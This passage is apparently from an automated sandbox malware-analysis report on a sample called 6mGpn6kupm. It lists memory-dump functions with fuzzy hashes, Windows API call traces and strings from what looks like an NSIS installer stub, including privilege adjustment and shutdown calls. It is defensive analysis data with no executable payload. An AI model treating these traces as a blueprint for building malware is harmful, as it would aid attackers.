Opcode Fuzzy Hash: 9887ceff69479d9622acb012b455ae21970e36b43eac40e2395c27da2705e11a
Instruction Fuzzy Hash: 1EE0ED74D04208DBDB04DFB9D54969DBBB5EB49301F6045A99814A7250EB305A56DB40

Function 0015FF21 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb28cfb1ecb3940da290c86c0b7f73652fda05de1fb9e238d835e7b2653918bf
Instruction ID: 39aa15d827feee91bd2e024aa9734c7ed244567c160e7d1039f76898922b22f3
Opcode Fuzzy Hash: fb28cfb1ecb3940da290c86c0b7f73652fda05de1fb9e238d835e7b2653918bf
Instruction Fuzzy Hash: 7EE0C274809349EFDB108B6495196A5BB78A703302F0410EAC419A3192D7700D19D786

Function 00151888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dccbf6471b13cae43cf124905078691a42042151d0b8dd5b66b45fc65cba7c96
Instruction ID: 7575c555999c5751dd42c298764ec0471084e92922679b7c8193e70e1e0ea7b7
Opcode Fuzzy Hash: dccbf6471b13cae43cf124905078691a42042151d0b8dd5b66b45fc65cba7c96
Instruction Fuzzy Hash: B8D01231D6022A978B01AAA5DC044DEBB39FE95721B914666D51437140EB70265986E1

Function 001556FF Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a5a7f890870e7421ea45665f3c59baf25d35af01e37060786b93e3d55f67057
Instruction ID: dda1e80703683a4320ea20ca0f1c2fd28353a2f654c40c34cacbfb83f6729e42
Opcode Fuzzy Hash: 7a5a7f890870e7421ea45665f3c59baf25d35af01e37060786b93e3d55f67057
Instruction Fuzzy Hash: 9FE0C23500C3884FDB13E734ACA56C93B326B81204F048699D4491BABADEB4068BCF66

Function 00157EC0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 9968b1f7b0fc0b7bf7e049fa17098cae9ca96013ffba795bad1e7fd54a298b3b
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: F4C0123310C1286A9224504E7C469A3A74CC2C13B5A210177F93D8724054425C4411B4

Function 00159F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ba96968ae992a85bb41166079ac3b30a5364ab6aa298426466bc7b715725e7
Instruction ID: 8a91f5611efdcaba00c8e754bd3bc16f6b8f62d92593354dfa799b72d06c6690
Opcode Fuzzy Hash: 62ba96968ae992a85bb41166079ac3b30a5364ab6aa298426466bc7b715725e7
Instruction Fuzzy Hash: 6BD0673AB000089FCB149F98EC809DDF776FB9C221B548116E915A3260C7319965DB64

Function 37A8D095 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0b48356a68114e0e06b45667b529d755c0be2c535fb61d7e169ad990e710aa5
Instruction ID: 1795774a212541c18ef941d4939278a75b21674efc14d974d8a32bbd7de2572e
Opcode Fuzzy Hash: b0b48356a68114e0e06b45667b529d755c0be2c535fb61d7e169ad990e710aa5
Instruction Fuzzy Hash: 89D0A72110E7E02FDB038228782449D6FF10C8752034946E7E098EB1E695C50A8B438B

Function 0015FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c4ded1e4d633b79872bf532f53b000c3482179e8a45ad00a2b00b864526e258
Instruction ID: 06c6284d9402ad46b00e5469559736b08397606b4ca11bafc80edafd10c42af8
Opcode Fuzzy Hash: 2c4ded1e4d633b79872bf532f53b000c3482179e8a45ad00a2b00b864526e258
Instruction Fuzzy Hash: 3BD0223080030CEFC300DFA4D809BA9B77CE703303F0000AC980863290CBB00D10CB88

Function 37A895D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77774d93467abd26ac2073ec4cd6395b46dd4d59b899cbb321e1958dbdf2faec
Instruction ID: ef2c4bdce441b6675027c3d1e26c03da594212f1f4f4034c567ff757d4aaf00a
Opcode Fuzzy Hash: 77774d93467abd26ac2073ec4cd6395b46dd4d59b899cbb321e1958dbdf2faec
Instruction Fuzzy Hash: 54C01232645610176614A21CB85069E56A58DC9621710C936E415B71144DD05987419A

Function 37A8BD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3bb0f1178f1015699d4e0925331edc3285632ed35da0b65c93b195f717f8d13
Instruction ID: 36485d921da259cd0115ca0a6720736dae4ce1cbed2922bd6c059dfbbe5d6d81
Opcode Fuzzy Hash: b3bb0f1178f1015699d4e0925331edc3285632ed35da0b65c93b195f717f8d13
Instruction Fuzzy Hash: 11C08C78001F0A9BF2042F50BC0CB39B7B8B747313FC82D10E51C028708BB85424CA48

Function 00155710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3397584c17d3773af3f9f3a1de6b8af69a8a1e32487263f61302f8cf0b8c9aff
Instruction ID: 30474ce32e61be8715c1a9c47416ed0fe5cfd715b77a88805de72bc80cc3b7bc
Opcode Fuzzy Hash: 3397584c17d3773af3f9f3a1de6b8af69a8a1e32487263f61302f8cf0b8c9aff
Instruction Fuzzy Hash: F1C0123001430C4BE501F769EC46755332A6780500780D510A0091697ADFF419CB8FE9

Function 37A894B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74a6731e5a2ec55f7c44ee04855a12fe9267dd31da0a0f87bb9911ad1ab19415
Instruction ID: f43b0011f90fca0208173ede20e75e9fefb8273c8cd69682f9867565c42efb81
Opcode Fuzzy Hash: 74a6731e5a2ec55f7c44ee04855a12fe9267dd31da0a0f87bb9911ad1ab19415
Instruction Fuzzy Hash: 4EC04C312687089FF340AA5DD994B5537ECFF86B04F5098E1F5189B665CA62FC404A49

Function 0015FFC8 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bdc4858fc1072283808878a57d25aea3cd95f46b24b3d11b6eefe11f6ca5f1e
Instruction ID: 439ca338ea5479dfc3bd3ddb0f4171cefd1b511e8656cbb785a1bf2b670f00d3
Opcode Fuzzy Hash: 6bdc4858fc1072283808878a57d25aea3cd95f46b24b3d11b6eefe11f6ca5f1e
Instruction Fuzzy Hash: 15A022383000008BC208EB08E200C0FF3833FE0300B00C02C0000820E08830CC008022

Non-executed Functions

Function 004034A5 Relevance: 75.7, APIs: 32, Strings: 11, Instructions: 410stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,00437800,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(00437800,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,00437800,00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(00437800,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,00437800,00437800,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,00437800,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNEL32(00437000,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(00437800,0040A328,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(00437800,00436800,00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(00437800,00437800,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(00438800,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

TEMP, xrefs: 0040372D
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
Error launching installer, xrefs: 004037D0
\Temp, xrefs: 004036FF
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
SeShutdownPrivilege, xrefs: 0040396F
Low, xrefs: 0040371B
TMP, xrefs: 00403735
.tmp, xrefs: 00403861
NSIS Error, xrefs: 00403567
~nsu, xrefs: 00403845

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-334447862
Opcode ID: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

N, xrefs: 00405057
, xrefs: 00405385
M, xrefs: 00404F76

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00437800,774D2EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,00437800,774D2EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,00437800,774D2EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,00437800,774D2EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,00437800,774D2EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

0WB, xrefs: 00405B53
\*.*, xrefs: 00405B65

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$\*.*
API String ID: 2035342205-351390296
Opcode ID: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00437800,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,774D2EE0,00405B1A,?,00437800,774D2EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 37A87B62 Relevance: 1.8, Strings: 1, Instructions: 595COMMON

Download Yara Rule

Strings

.5q, xrefs: 37A87C7B

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID: .5q
API String ID: 0-3553790735
Opcode ID: 6080d2d5fe55420945f157f19ce48c27487cadad17b68b38d2ef8901367cf4c1
Instruction ID: e41672c0c65a41ddfeb2b0df8b4ddb5391be338f1a17afc5680f8a3f3c4998b7
Opcode Fuzzy Hash: 6080d2d5fe55420945f157f19ce48c27487cadad17b68b38d2ef8901367cf4c1
Instruction Fuzzy Hash: 18528D74E01228CFDB64DF69C884B9DBBB2BF89301F5081E9D819A7255DB359E82CF50

Function 34CABD88 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93fce6da5e3b1767b10f193295794dd48f3b84cad619d9358a99d25f674d47cb
Instruction ID: 94aecdd55157ed25af807c49a70d46af22480f39d70961b5ddb7a23c8a67ce2c
Opcode Fuzzy Hash: 93fce6da5e3b1767b10f193295794dd48f3b84cad619d9358a99d25f674d47cb
Instruction Fuzzy Hash: 7CC18E74E00218CFEB14DFA9C994B9DBBB2BB89300F5081A9D419BB355DB359E86CF50

Function 34CAF043 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ef8e89e9e3c01856221ca77d71aa55e626b8de8d184c7d254380da13d3fd143
Instruction ID: 899c182c5704cd149a6f56f5b08e6949265041c50c8949a477e6d8902d09aab7
Opcode Fuzzy Hash: 8ef8e89e9e3c01856221ca77d71aa55e626b8de8d184c7d254380da13d3fd143
Instruction Fuzzy Hash: 21C19F74E00218CFEB14DFA9C994B9DBBB2BF89304F5081A9D809AB355DB355E86CF50

Function 34CAB07F Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e3f613636f0e0a04bb9fd63b226b8f76cc61cbd0fafdb7164e318882b76c50e
Instruction ID: f0dd11f83978c3503d159cac7d3840d37d0b5f10e5a96813b8d7fca2c37f45c3
Opcode Fuzzy Hash: 1e3f613636f0e0a04bb9fd63b226b8f76cc61cbd0fafdb7164e318882b76c50e
Instruction Fuzzy Hash: BDC19074E10218CFEB14DFA9C994B9DBBB2BF89300F5081A9D809AB355DB355A86CF50

Function 34CADEE1 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fef7274893c717712d4059f2def45c183d63c201f39a96574eda9880d9263ba
Instruction ID: b6a1bb5f2d060aca3233c8f2ee74177180f6c3d3b21c4074f7b46ebb9c68d102
Opcode Fuzzy Hash: 4fef7274893c717712d4059f2def45c183d63c201f39a96574eda9880d9263ba
Instruction Fuzzy Hash: D2C19074E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D409AB355DB355E86CF50

Function 34CAE790 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ba66843e89227144ce1557369f255394e446e0e2e8a0a1c47c59a47363c10b4
Instruction ID: 30729690f717a9b20e4bc3cfbf540ecf1916e5dd4fcdd5fdf83c7db0a478aef7
Opcode Fuzzy Hash: 6ba66843e89227144ce1557369f255394e446e0e2e8a0a1c47c59a47363c10b4
Instruction Fuzzy Hash: 67C1AF74E00218CFEB14DFA9C994B9DBBB2BF89300F5080A9D419AB365DB355E86CF54

Function 34CADA89 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 641c246c8d8ff3306448890f746fc5d8f2091192b4cf37d256278444cda026fd
Instruction ID: 1c94b4ae65989e50597a31f9d205de7cfe884d0cb926b0609916c705fb6e1961
Opcode Fuzzy Hash: 641c246c8d8ff3306448890f746fc5d8f2091192b4cf37d256278444cda026fd
Instruction Fuzzy Hash: 36C1AF74E00218CFEB54DFA9C994B9DBBB2BF89300F6081A9D409AB355DB355E86CF50

Function 34CAE339 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14a8504eafb5bc63c21dc5be76b770d2d5459eff4d4eeb6e8dacaa2853a0e20e
